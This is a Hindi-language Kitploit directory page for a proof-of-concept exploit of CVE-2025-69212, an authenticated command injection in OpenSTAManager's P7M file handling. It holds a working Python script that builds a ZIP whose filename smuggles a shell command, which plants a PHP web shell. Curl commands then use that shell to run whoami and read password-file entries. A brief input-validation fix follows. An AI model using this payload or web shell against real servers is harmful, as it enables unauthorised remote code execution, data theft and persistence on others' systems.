Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
OpenSTA-Exploit — CVE-2025-69212 का प्रूफ ऑफ कॉन्सेप्ट (PoC), जो P7M फ़ाइल प्रोसेसिंग से संबंधित है | Kitploit
उपकरण/GitHubGitHub/lolw0/opensta-exploit
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHublolw0/opensta-exploit

OpenSTA-Exploit

CVE-2025-69212 का प्रूफ ऑफ कॉन्सेप्ट (PoC), जो P7M फ़ाइल प्रोसेसिंग से संबंधित है

रिपॉजिटरी देखें
171 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

OpenSTA-Exploit

image

डेटाविवरण
CVE IDCVE-2025-69212
भेद्यता स्कोरcritical (9.4)
CWE78: OS कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण
प्रभावित संस्करणOpenSTAManager <= 2.9.8
हमले का वेक्टरदुर्भावनापूर्ण फ़ाइलनाम वाली .p7m फ़ाइल से युक्त ZIP फ़ाइल अपलोड करना
प्रमाणीकरणआवश्यक
प्रभावसर्वर पर मनमाने सिस्टम कमांड निष्पादित करना

एक्सप्लॉइट का स्पष्टीकरण

  1. cmd वेरिएबल में एक शेल कमांड संग्रहीत करता है (जो SHELL.php नामक फ़ाइल बनाता है जिसमें कमांड निष्पादित करने वाला PHP कोड होता है)।
  2. cmd वेरिएबल से कमांड को छिपाने वाला एक विशेष फ़ाइलनाम बनाता है और उसे malicious_file वेरिएबल में सहेजता है।
  3. exploit.zip नामक एक नई ZIP फ़ाइल बनाता है और उसे लिखने के लिए खोलता है।
  4. ZIP में एक फ़ाइल जोड़ता है। उसका फ़ाइलनाम malicious_file वेरिएबल है।
  5. दुर्भावनापूर्ण फ़ाइलनाम exec() कमांड में इंजेक्ट किया जाता है।

PoC (प्रूफ ऑफ कॉन्सेप्ट)

1. इंजेक्ट करने के लिए zip फ़ाइल बनाएँ

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. फ़ाइल निष्पादित करें और अपलोड करें

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. एक्सप्लॉइट का परिणाम

कमांड निष्पादन के बाद XML पार्सिंग विफल हो जाती है

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. सत्यापन और रिमोट कोड निष्पादन

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



इससे आगे बढ़ता है...

हमलाविवरण
रिमोट कोड निष्पादनकमांड निष्पादन के साथ पूर्ण सर्वर समझौता
डेटा चोरीसभी एप्लिकेशन डेटा और डेटाबेस तक पहुँच
विशेषाधिकार वृद्धियदि वेब सर्वर उच्च विशेषाधिकारों के साथ चलता है या भेद्य है तो संभावित वृद्धि
स्थायित्वबैकडोर स्थापित करें और समय के साथ पहुँच बनाए रखें
पार्श्व गतिनेटवर्क पर अन्य सिस्टम/उपयोगकर्ताओं की ओर पिवट करें

समाधान

**एक सरल समाधान यह है कि प्रोसेसिंग से पहले फ़ाइलनामों को मान्य करें (अमान्य फ़ाइलनामों को छोड़ने के लिए केवल अल्फ़ान्यूमेरिक, डॉट, डैश और अंडरस्कोर की अनुमति दें)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(या आप बस अपडेट कर सकते हैं lol)

टूल डाउनलोड करें